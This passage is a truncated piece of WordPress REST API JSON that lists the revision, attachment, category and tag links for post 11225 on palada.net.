/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/11225\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=11225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=11225"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=11225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}